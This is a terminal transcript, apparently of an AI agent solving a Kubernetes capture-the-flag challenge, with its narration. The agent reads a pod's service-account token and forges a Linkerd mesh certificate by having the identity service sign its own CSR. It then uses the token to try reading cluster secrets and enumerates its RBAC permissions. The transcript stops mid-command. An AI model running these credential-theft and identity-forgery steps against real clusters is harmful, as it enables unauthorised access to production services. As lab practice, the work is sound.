"MIIBtDCCAVmgAwIBAgIRANX8vKSI1FUJKp1zLKt9wXYwCgYIKoZIzj0EAwIwJTEjMCEGA1UEAxMacm9vdC5saW5rZXJkLmNsdXN0ZXIubG9jYWwwHhcNMjYwMzI1MTA0ODU4WhcNMjcwMzI1MTA0ODU4WjApMScwJQYDVQQDEx5pZGVudGl0eS5saW5rZXJkLmNsdXN0ZXIubG9jYWwwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAATXUbzK4tpZC0xWgDmxpTkemQDk6a4rAaUYRAX1PB5ww83bVfl9hQ/PWeazVgW2VgvzZBlJh/6iOaoN1Y0sART6o2YwZDAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQUSE/ZDtKXXFQnPt88isB6CbToQQMwHwYDVR0jBBgwFoAURuiE4xhrE5Ag8R58Gcmew4F5y6owCgYIKoZIzj0EAwIDSQAwRgIhAKHebarKycyokT4HdmJ8k6gDAQGHQlJGxMloa7zKuA15AiEAvSXG3Ie2V4Yao5ZbLHCobeInuyG1bIRF1/RKYGIECTY="
]
}
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.Got the signed certificate from the Linkerd Identity service! Now I have a leaf certificate AND the intermediate cert, both signed by the real Linkerd CA chain. Let me save these and the matching private key, then use them to access the gateway.
{
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
echo "# Save the cert chain"
echo "echo MIICBDCCAaqgAwIBAgIBCTAKBggqhkjOPQQDAjApMScwJQYDVQQDEx5pZGVudGl0eS5saW5rZXJkLmNsdXN0ZXIubG9jYWwwHhcNMjYwMzI1MTEzNDI3WhcNMjYwMzI2MTEzNTA3WjBLMUkwRwYDVQQDE0BkZWZhdWx0LnByb2R1Y3Rpb24uc2VydmljZWFjY291bnQuaWRlbnRpdHkubGlua2VyZC5jbHVzdGVyLmxvY2FsMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEiQ7hDsAnhrhyu2RrKtH4Q3bAaNVmJLetY3OfxNRL8YM2tExkIzE1FRpoaYtxTAhKLr3LQfN7CiyUQEbST+8viKOBoDCBnTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMB8GA1UdIwQYMBaAFEhP2Q7Sl1xUJz7fPIrAegm06EEDMEsGA1UdEQREMEKCQGRlZmF1bHQucHJvZHVjdGlvbi5zZXJ2aWNlYWNjb3VudC5pZGVudGl0eS5saW5rZXJkLmNsdXN0ZXIubG9jYWwwCgYIKoZIzj0EAwIDSAAwRQIgL3IJSJW21K+MG+XqXlImCuBKKZBwIrVHlFYXEWQDgrICIQDDfJ3zUbog5Jt+kZnr0uFe98KjmUdhpL9WkBjPUBjGTw== | base64 -d > /tmp/leaf.der"
echo "echo MIIBtDCCAVmgAwIBAgIRANX8vKSI1FUJKp1zLKt9wXYwCgYIKoZIzj0EAwIwJTEjMCEGA1UEAxMacm9vdC5saW5rZXJkLmNsdXN0ZXIubG9jYWwwHhcNMjYwMzI1MTA0ODU4WhcNMjcwMzI1MTA0ODU4WjApMScwJQYDVQQDEx5pZGVudGl0eS5saW5rZXJkLmNsdXN0ZXIubG9jYWwwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAATXUbzK4tpZC0xWgDmxpTkemQDk6a4rAaUYRAX1PB5ww83bVfl9hQ/PWeazVgW2VgvzZBlJh/6iOaoN1Y0sART6o2YwZDAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ4EFgQUSE/ZDtKXXFQnPt88isB6CbToQQMwHwYDVR0jBBgwFoAURuiE4xhrE5Ag8R58Gcmew4F5y6owCgYIKoZIzj0EAwIDSQAwRgIhAKHebarKycyokT4HdmJ8k6gDAQGHQlJGxMloa7zKuA15AiEAvSXG3Ie2V4Yao5ZbLHCobeInuyG1bIRF1/RKYGIECTY= | base64 -d > /tmp/inter.der"
echo "# Convert to PEM"
echo "openssl x509 -in /tmp/leaf.der -inform DER -out /tmp/mesh.crt 2>/dev/null"
echo "openssl x509 -in /tmp/inter.der -inform DER >> /tmp/mesh.crt 2>/dev/null"
echo "# Verify the chain"
echo "openssl x509 -in /tmp/mesh.crt -noout -subject -issuer 2>&1"
echo "# Now curl the gateway with mesh cert + our key"
echo "GWIP=10.111.253.191"
echo "curl -sk --http1.1 --cert /tmp/mesh.crt --key /tmp/mykey.pem https://\$GWIP/ 2>&1"
echo "'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -25# Now curl the gateway with mesh cert + our key GWIP=10.111.253.191 curl -sk --http1.1 --cert /tmp/mesh.crt --key /tmp/mykey.pem https://$GWIP/ 2>&1 ' exit [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4 427 -c debug-tools -- sh -c ' [?2004l [?2004h> # Save the cert chain [?2004l [?2004h> echo MIICBDCCAaqgAwIBAgIBCTAKBggqhkjOPQQDAjApMScwJQYDVQQDEx5pZGVudGl0eS5saW5rZX XJkLmNsdXN0ZXIubG9jYWwwHhcNMjYwMzI1MTEzNDI3WhcNMjYwMzI2MTEzNTA3WjBLMUkwRwYDVQQDE0 0BkZWZhdWx0LnByb2R1Y3Rpb24uc2VydmljZWFjY291bnQuaWRlbnRpdHkubGlua2VyZC5jbHVzdGVyLm mxvY2FsMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEiQ7hDsAnhrhyu2RrKtH4Q3bAaNVmJLetY3OfxN NRL8YM2tExkIzE1FRpoaYtxTAhKLr3LQfN7CiyUQEbST+8viKOBoDCBnTAOBgNVHQ8BAf8EBAMCBaAwHQ QYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMB8GA1UdIwQYMBaAFEhP2Q7Sl1xUJz7fPIrAegm06E EEDMEsGA1UdEQREMEKCQGRlZmF1bHQucHJvZHVjdGlvbi5zZXJ2aWNlYWNjb3VudC5pZGVudGl0eS5saW W5rZXJkLmNsdXN0ZXIubG9jYWwwCgYIKoZIzj0EAwIDSAAwRQIgL3IJSJW21K+MG+XqXlImCuBKKZBwIr rVHlFYXEWQDgrICIQDDfJ3zUbog5Jt+kZnr0uFe98KjmUdhpL9WkBjPUBjGTw== | base64 -d > /tm mp/leaf.der [?2004l [?2004h> echo MIIBtDCCAVmgAwIBAgIRANX8vKSI1FUJKp1zLKt9wXYwCgYIKoZIzj0EAwIwJTEjMCEGA1UEAx xMacm9vdC5saW5rZXJkLmNsdXN0ZXIubG9jYWwwHhcNMjYwMzI1MTA0ODU4WhcNMjcwMzI1MTA0ODU4Wj jApMScwJQYDVQQDEx5pZGVudGl0eS5saW5rZXJkLmNsdXN0ZXIubG9jYWwwWTATBgcqhkjOPQIBBggqhk kjOPQMBBwNCAATXUbzK4tpZC0xWgDmxpTkemQDk6a4rAaUYRAX1PB5ww83bVfl9hQ/PWeazVgW2VgvzZB BlJh/6iOaoN1Y0sART6o2YwZDAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIBADAdBgNVHQ Q4EFgQUSE/ZDtKXXFQnPt88isB6CbToQQMwHwYDVR0jBBgwFoAURuiE4xhrE5Ag8R58Gcmew4F5y6owCg gYIKoZIzj0EAwIDSQAwRgIhAKHebarKycyokT4HdmJ8k6gDAQGHQlJGxMloa7zKuA15AiEAvSXG3Ie2V4 4Yao5ZbLHCobeInuyG1bIRF1/RKYGIECTY= | base64 -d > /tmp/inter.der [?2004l [?2004h> # Convert to PEM [?2004l [?2004h> openssl x509 -in /tmp/leaf.der -inform DER -out /tmp/mesh.crt 2>/dev/null [?2004l [?2004h> openssl x509 -in /tmp/inter.der -inform DER >> /tmp/mesh.crt 2>/dev/null [?2004l [?2004h> # Verify the chain [?2004l [?2004h> openssl x509 -in /tmp/mesh.crt -noout -subject -issuer 2>&1 [?2004l [?2004h> # Now curl the gateway with mesh cert + our key [?2004l [?2004h> GWIP=10.111.253.191 [?2004l [?2004h> curl -sk --http1.1 --cert /tmp/mesh.crt --key /tmp/mykey.pem https://$GWIP/ 2>& &1 [?2004l [?2004h> ' [?2004l subject=CN=default.production.serviceaccount.identity.linkerd.cluster.local issuer=CN=identity.linkerd.cluster.local command terminated with exit code 56 [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit [?2004l exit command terminated with exit code 56 Connection to 35.179.133.134 closed.
The base64 strings are still getting corrupted by the TTY. Let me do everything inside the debug-tools container in one go — generate, certify, save, and curl.
{
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
echo "# All-in-one: generate key, get cert from identity service, curl gateway"
echo "openssl ecparam -genkey -name prime256v1 -noout -out /tmp/mykey.pem 2>/dev/null"
echo "cat > /tmp/csr.cnf << CNFEOF"
echo "[req]"
echo "prompt = no"
echo "distinguished_name = dn"
echo "req_extensions = v3_req"
echo "[dn]"
echo "CN = default.production.serviceaccount.identity.linkerd.cluster.local"
echo "[v3_req]"
echo "subjectAltName = DNS:default.production.serviceaccount.identity.linkerd.cluster.local"
echo "CNFEOF"
echo "openssl req -new -key /tmp/mykey.pem -config /tmp/csr.cnf -outform DER -out /tmp/mycsr.der 2>/dev/null"
echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
echo "CSR=\$(base64 -w0 /tmp/mycsr.der)"
echo "cat > /tmp/req.json << JSONEOF"
echo "{\"identity\":\"default.production.serviceaccount.identity.linkerd.cluster.local\",\"certificate_signing_request\":\"\$CSR\",\"token\":\"\$TOKEN\"}"
echo "JSONEOF"
echo "# Call identity service and save cert directly inside container"
echo "/tmp/grpcurl -plaintext -import-path /tmp -proto identity2.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req.json > /tmp/certresp.json 2>&1"
echo "# Extract leaf cert and intermediate, decode from base64 JSON to PEM"
echo "LEAF=\$(cat /tmp/certresp.json | grep leafCertificate | sed s/.*leafCertificate.*:.*\\\"// | sed s/\\\".*//)"
echo "INTER=\$(cat /tmp/certresp.json | grep -A1 intermediateCertificates | tail -1 | sed s/.*\\\"// | sed s/\\\".*//)"
echo "echo -----BEGIN CERTIFICATE----- > /tmp/mesh.crt"
echo "echo \$LEAF | fold -w 64 >> /tmp/mesh.crt"
echo "echo -----END CERTIFICATE----- >> /tmp/mesh.crt"
echo "echo -----BEGIN CERTIFICATE----- >> /tmp/mesh.crt"
echo "echo \$INTER | fold -w 64 >> /tmp/mesh.crt"
echo "echo -----END CERTIFICATE----- >> /tmp/mesh.crt"
echo "# Verify"
echo "openssl x509 -in /tmp/mesh.crt -noout -subject -issuer 2>&1"
echo "openssl verify -partial_chain /tmp/mesh.crt 2>&1"
echo "# Now curl gateway"
echo "curl -sk --http1.1 --cert /tmp/mesh.crt --key /tmp/mykey.pem https://10.111.253.191/ 2>&1"
echo "echo EXIT=\$?"
echo "'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -20[?2004l [?2004h> echo $LEAF | fold -w 64 >> /tmp/mesh.crt [?2004l [?2004h> echo -----END CERTIFICATE----- >> /tmp/mesh.crt [?2004l [?2004h> echo -----BEGIN CERTIFICATE----- >> /tmp/mesh.crt [?2004l [?2004h> echo $INTER | fold -w 64 >> /tmp/mesh.crt [?2004l [?2004h> echo -----END CERTIFICATE----- >> /tmp/mesh.crt [?2004l [?2004h> # Verify [?2004l [?2004h> openssl x509 -in /tmp/mesh.crt -noout -subject -issuer 2>&1 [?2004l [?2004h> openssl verify -partial_chain /tmp/mesh.crt 2>&1 [?2004l [?2004h> # Now curl gateway [?2004l [?2004h> curl -sk --http1.1 --cert /tmp/mesh.crt --key /tmp/mykey.pem https://10.111.253 3.191/ 2>&1 [?2004l [?2004h> echo EXIT=$? [?2004l [?2004h> ' [?2004l Could not find certificate from /tmp/mesh.crt 40F71F127D7C0000:error:1608010C:STORE routines:ossl_store_handle_load_result:unsupported:../crypto/store/store_result.c:160:provider=default Could not find certificate file from /tmp/mesh.crt 401796B8F7720000:error:1608010C:STORE routines:ossl_store_handle_load_result:unsupported:../crypto/store/store_result.c:160:provider=default EXIT=58 [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit [?2004l exit Connection to 35.179.133.134 closed.
{
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
echo "# Re-run the certify call (reuses existing key and CSR)"
echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
echo "CSR=\$(base64 -w0 /tmp/mycsr.der)"
echo "cat > /tmp/req.json << JSONEOF"
echo "{\"identity\":\"default.production.serviceaccount.identity.linkerd.cluster.local\",\"certificate_signing_request\":\"\$CSR\",\"token\":\"\$TOKEN\"}"
echo "JSONEOF"
echo "/tmp/grpcurl -plaintext -import-path /tmp -proto identity2.proto -d @ linkerd-identity.linkerd.svc.cluster.local:8080 io.linkerd.proxy.identity.Identity/Certify < /tmp/req.json > /tmp/resp.json 2>/dev/null"
echo "# Use awk to extract the base64 values from JSON"
echo "LEAF=\$(awk -F\\\" \"/leafCertificate/{print \\\$4}\" /tmp/resp.json)"
echo "INTER=\$(awk -F\\\" \"/MII/{print \\\$2}\" /tmp/resp.json | tail -1)"
echo "# Write PEM cert file directly from base64"
echo "echo -----BEGIN CERTIFICATE----- > /tmp/mesh.crt"
echo "echo \$LEAF | base64 -d | openssl x509 -inform DER -outform PEM >> /tmp/mesh.crt 2>/dev/null || echo \$LEAF | fold -w 64 >> /tmp/mesh.crt"
echo "echo -----END CERTIFICATE----- >> /tmp/mesh.crt"
echo "# Actually, just decode the DER and re-encode as PEM properly"
echo "echo \$LEAF | base64 -d > /tmp/leaf.der"
echo "echo \$INTER | base64 -d > /tmp/inter.der"
echo "openssl x509 -in /tmp/leaf.der -inform DER -out /tmp/mesh.crt 2>&1"
echo "openssl x509 -in /tmp/inter.der -inform DER >> /tmp/mesh.crt 2>&1"
echo "cat /tmp/mesh.crt"
echo "echo === CURL ==="
echo "curl -sk --http1.1 --cert /tmp/mesh.crt --key /tmp/mykey.pem https://10.111.253.191/ 2>&1"
echo "'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -40[?2004l [?2004h> # Actually, just decode the DER and re-encode as PEM properly [?2004l [?2004h> echo $LEAF | base64 -d > /tmp/leaf.der [?2004l [?2004h> echo $INTER | base64 -d > /tmp/inter.der [?2004l [?2004h> openssl x509 -in /tmp/leaf.der -inform DER -out /tmp/mesh.crt 2>&1 [?2004l [?2004h> openssl x509 -in /tmp/inter.der -inform DER >> /tmp/mesh.crt 2>&1 [?2004l [?2004h> cat /tmp/mesh.crt [?2004l [?2004h> echo === CURL === [?2004l [?2004h> curl -sk --http1.1 --cert /tmp/mesh.crt --key /tmp/mykey.pem https://10.111.253 3.191/ 2>&1 [?2004l [?2004h> ' [?2004l -----BEGIN CERTIFICATE----- MIICAzCCAaqgAwIBAgIBCzAKBggqhkjOPQQDAjApMScwJQYDVQQDEx5pZGVudGl0 eS5saW5rZXJkLmNsdXN0ZXIubG9jYWwwHhcNMjYwMzI1MTEzNTI5WhcNMjYwMzI2 MTEzNjA5WjBLMUkwRwYDVQQDE0BkZWZhdWx0LnByb2R1Y3Rpb24uc2VydmljZWFj Y291bnQuaWRlbnRpdHkubGlua2VyZC5jbHVzdGVyLmxvY2FsMFkwEwYHKoZIzj0C AQYIKoZIzj0DAQcDQgAEq1Vs5ZF8iQB/moqjM4nAC4vIceamU6jy4kWS6KOlI9RV XEe4AWjxXjkfAlNQv/8gLNUJ8nR3H+9AWwaf0Z94j6OBoDCBnTAOBgNVHQ8BAf8E BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMB8GA1UdIwQYMBaA FEhP2Q7Sl1xUJz7fPIrAegm06EEDMEsGA1UdEQREMEKCQGRlZmF1bHQucHJvZHVj dGlvbi5zZXJ2aWNlYWNjb3VudC5pZGVudGl0eS5saW5rZXJkLmNsdXN0ZXIubG9j YWwwCgYIKoZIzj0EAwIDRwAwRAIgXkgETLgKBxEbn/ZqS/wKaz+YwsL5HFWbaJ3U A4X6mMQCIA7tZyfrQJcV7XGxbUJcGNs7f8lFb9DMg/Hk+yYDlduY -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIIBtDCCAVmgAwIBAgIRANX8vKSI1FUJKp1zLKt9wXYwCgYIKoZIzj0EAwIwJTEj MCEGA1UEAxMacm9vdC5saW5rZXJkLmNsdXN0ZXIubG9jYWwwHhcNMjYwMzI1MTA0 ODU4WhcNMjcwMzI1MTA0ODU4WjApMScwJQYDVQQDEx5pZGVudGl0eS5saW5rZXJk LmNsdXN0ZXIubG9jYWwwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAATXUbzK4tpZ C0xWgDmxpTkemQDk6a4rAaUYRAX1PB5ww83bVfl9hQ/PWeazVgW2VgvzZBlJh/6i OaoN1Y0sART6o2YwZDAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIB ADAdBgNVHQ4EFgQUSE/ZDtKXXFQnPt88isB6CbToQQMwHwYDVR0jBBgwFoAURuiE 4xhrE5Ag8R58Gcmew4F5y6owCgYIKoZIzj0EAwIDSQAwRgIhAKHebarKycyokT4H dmJ8k6gDAQGHQlJGxMloa7zKuA15AiEAvSXG3Ie2V4Yao5ZbLHCobeInuyG1bIRF 1/RKYGIECTY= -----END CERTIFICATE----- === CURL === command terminated with exit code 56 [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit [?2004l exit command terminated with exit code 56 Connection to 35.179.133.134 closed.
{
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
echo "echo | openssl s_client -connect 10.111.253.191:443 -cert /tmp/mesh.crt -key /tmp/mykey.pem -quiet 2>&1"
echo "'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -15Can't use SSL_get_servername depth=0 CN=gateway.default.svc verify error:num=20:unable to get local issuer certificate verify return:1 depth=0 CN=gateway.default.svc verify error:num=21:unable to verify the first certificate verify return:1 depth=0 CN=gateway.default.svc verify return:1 40D751AA9A700000:error:0A000418:SSL routines:ssl3_read_bytes:tlsv1 alert unknown ca:../ssl/record/rec_layer_s3.c:918:SSL alert number 48 command terminated with exit code 1 [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit [?2004l exit command terminated with exit code 1 Connection to 35.179.133.134 closed.
{
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
echo "# Check what the production SA can do"
echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
echo "curl -sk -H \"Authorization: Bearer \$TOKEN\" https://kubernetes.default.svc/api/v1/namespaces/default/secrets/client-ca-secret 2>&1"
echo "echo ==="
echo "curl -sk -H \"Authorization: Bearer \$TOKEN\" https://kubernetes.default.svc/api/v1/namespaces/default/secrets/certs 2>&1"
echo "'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -30[?2004l
[?2004h> curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v
v1/namespaces/default/secrets/certs 2>&1
[?2004l
[?2004h> '
[?2004l
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "secrets \"client-ca-secret\" is forbidden: User \"system:serviceaccount:production:default\" cannot get resource \"secrets\" in API group \"\" in the namespace \"default\"",
"reason": "Forbidden",
"details": {
"name": "client-ca-secret",
"kind": "secrets"
},
"code": 403
}===
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "secrets \"certs\" is forbidden: User \"system:serviceaccount:production:default\" cannot get resource \"secrets\" in API group \"\" in the namespace \"default\"",
"reason": "Forbidden",
"details": {
"name": "certs",
"kind": "secrets"
},
"code": 403
}[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.{
echo "kubectl get securitypolicies -n default -o yaml 2>&1"
echo "kubectl get backendtlspolicies -n default -o yaml 2>&1"
echo "kubectl get httproutes -n backend -o yaml 2>&1"
echo "kubectl get referencegrants -A -o yaml 2>&1"
echo "kubectl auth can-i --list -n default 2>&1 | grep -v 'openid\|well-known\|api\|health\|live\|ready\|version\|openapi'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_ _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -30metadata: resourceVersion: "" Error from server (Forbidden): backendtlspolicies.gateway.networking.k8s.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "backendtlspolicies" in API group "gateway.networking.k8s.io" in the namespace "default" [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl get httproutes -n backend -o yaml 2>&1 [?2004l apiVersion: v1 items: [] kind: List metadata: resourceVersion: "" Error from server (Forbidden): httproutes.gateway.networking.k8s.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "httproutes" in API group "gateway.networking.k8s.io" in the namespace "backend" [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl get referencegrants -A -o yaml 2>&1 [?2004l apiVersion: v1 items: [] kind: List metadata: resourceVersion: "" Error from server (Forbidden): referencegrants.gateway.networking.k8s.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "referencegrants" in API group "gateway.networking.k8s.io" at the cluster scope [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl auth can-i --list -n default 2>&1 | grep - -v 'openid\|well-known\|api\|health\|live\|ready\|version\|openapi' [?2004l Resources Non-Resource URLs Resource Names Verbs selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] namespaces [] [] [get watch list] services [] [] [get watch list] clienttrafficpolicies.gateway.envoyproxy.io [] [] [get watch list] envoyproxies.gateway.envoyproxy.io [] [] [get watch list] gateways.gateway.networking.k8s.io [] [] [get watch list] [?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit [?2004l exit Connection to 35.179.133.134 closed.
{
echo "export GWIP=\$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print \$2}')"
echo "echo | openssl s_client -connect \$GWIP:443 -showcerts 2>&1"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -E '(subject|issuer|BEGIN|END|depth|verify|Certificate chain)' | head -20depth=0 CN = gateway.default.svc verify error:num=20:unable to get local issuer certificate verify return:1 depth=0 CN = gateway.default.svc verify error:num=21:unable to verify the first certificate verify return:1 depth=0 CN = gateway.default.svc verify return:1 Certificate chain -----BEGIN CERTIFICATE----- -----END CERTIFICATE----- subject=CN = gateway.default.svc issuer=O = Linkerd-CTF, CN = Linkerd-CTF Verification error: unable to verify the first certificate Verify return code: 21 (unable to verify the first certificate)
{
echo "echo '=== GATEWAY ANNOTATIONS ==='"
echo "kubectl get gateways -A -o json 2>&1 | grep -i 'annotation\|key\|cert\|secret\|flag' | head -20"
echo "echo '=== NAMESPACE ANNOTATIONS ==='"
echo "kubectl get ns -o json 2>&1 | grep -i 'annotation\|key\|cert\|secret\|flag\|hint' | head -20"
echo "echo '=== ALL SVC DETAILS ==='"
echo "kubectl get svc -A -o json 2>&1 | grep -i 'key\|cert\|flag\|hint\|clue' | head -20"
echo "echo '=== ENVOYPROXY ANNOTATIONS ==='"
echo "kubectl get envoyproxies -A -o json 2>&1 | grep -i 'key\|cert\|flag\|hint' | head -20"
echo "echo '=== NS LABELS AND ANNOTATIONS ==='"
echo "kubectl get ns -o yaml 2>&1 | grep -B2 -A5 annotations | head -40"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_ _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -40 "kubernetes.io/metadata.name": "supersecret"
"name": "supersecret",
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== ALL SVC DETAILS ==='
[?2004l
=== ALL SVC DETAILS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get svc -A -o json 2>&1 | grep -i 'key\|ce
ert\|flag\|hint\|clue' | head -20
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== ENVOYPROXY ANNOTATIONS ==='
[?2004l
=== ENVOYPROXY ANNOTATIONS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl get envoyproxies -A -o json 2>&1 | grep -i
i 'key\|cert\|flag\|hint' | head -20
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== NS LABELS AND ANNOTATIONS ==='
[?2004l
=== NS LABELS AND ANNOTATIONS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl get ns -o yaml 2>&1 | grep -B2 -A5 annotat
tions | head -40
[?2004l
kind: Namespace
metadata:
annotations:
linkerd.io/inject: enabled
creationTimestamp: "2026-03-25T10:50:41Z"
labels:
kubernetes.io/metadata.name: backend
name: backend
--
kind: Namespace
metadata:
annotations:
linkerd.io/inject: enabled
creationTimestamp: "2026-03-25T10:50:41Z"
labels:
kubernetes.io/metadata.name: production
name: production
--
kind: Namespace
metadata:
annotations:
linkerd.io/inject: enabled
creationTimestamp: "2026-03-25T10:50:41Z"
labels:
kubernetes.io/metadata.name: supersecret
name: supersecret
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004l
exit
Connection to 35.179.133.134 closed.{
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c '"
echo "TOKEN=\$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
echo "# Try to read the certs secret from envoy-gateway-system"
echo "curl -sk -H \"Authorization: Bearer \$TOKEN\" https://kubernetes.default.svc/api/v1/namespaces/envoy-gateway-system/secrets 2>&1 | head -20"
echo "echo ==="
echo "curl -sk -H \"Authorization: Bearer \$TOKEN\" https://kubernetes.default.svc/api/v1/namespaces/default/secrets 2>&1 | head -20"
echo "'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -30[?2004l
[?2004h> curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v
v1/namespaces/envoy-gateway-system/secrets 2>&1 | head -20
[?2004l
[?2004h> echo ===
[?2004l
[?2004h> curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v
v1/namespaces/default/secrets 2>&1 | head -20
[?2004l
[?2004h> '
[?2004l
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "secrets is forbidden: User \"system:serviceaccount:production:default\" cannot list resource \"secrets\" in API group \"\" in the namespace \"envoy-gateway-system\"",
"reason": "Forbidden",
"details": {
"kind": "secrets"
},
"code": 403
}===
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "secrets is forbidden: User \"system:serviceaccount:production:default\" cannot list resource \"secrets\" in API group \"\" in the namespace \"default\"",
"reason": "Forbidden",
"details": {
"kind": "secrets"
},
"code": 403
}[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004l
exit
Connection to 35.179.133.134 closed.{
echo "kubectl auth can-i --list -n backend 2>&1 | grep -v 'openid\|well-known\|api\|health\|live\|ready\|version\|openapi'"
echo "kubectl auth can-i --list -n envoy-gateway-system 2>&1 | grep -v 'openid\|well-known\|api\|health\|live\|ready\|version\|openapi'"
echo "echo === CHECK ENVOY GW SPECIFIC ==="
echo "kubectl auth can-i get secrets -n envoy-gateway-system 2>&1"
echo "kubectl auth can-i list pods -n envoy-gateway-system 2>&1"
echo "kubectl auth can-i create pods/exec -n envoy-gateway-system 2>&1"
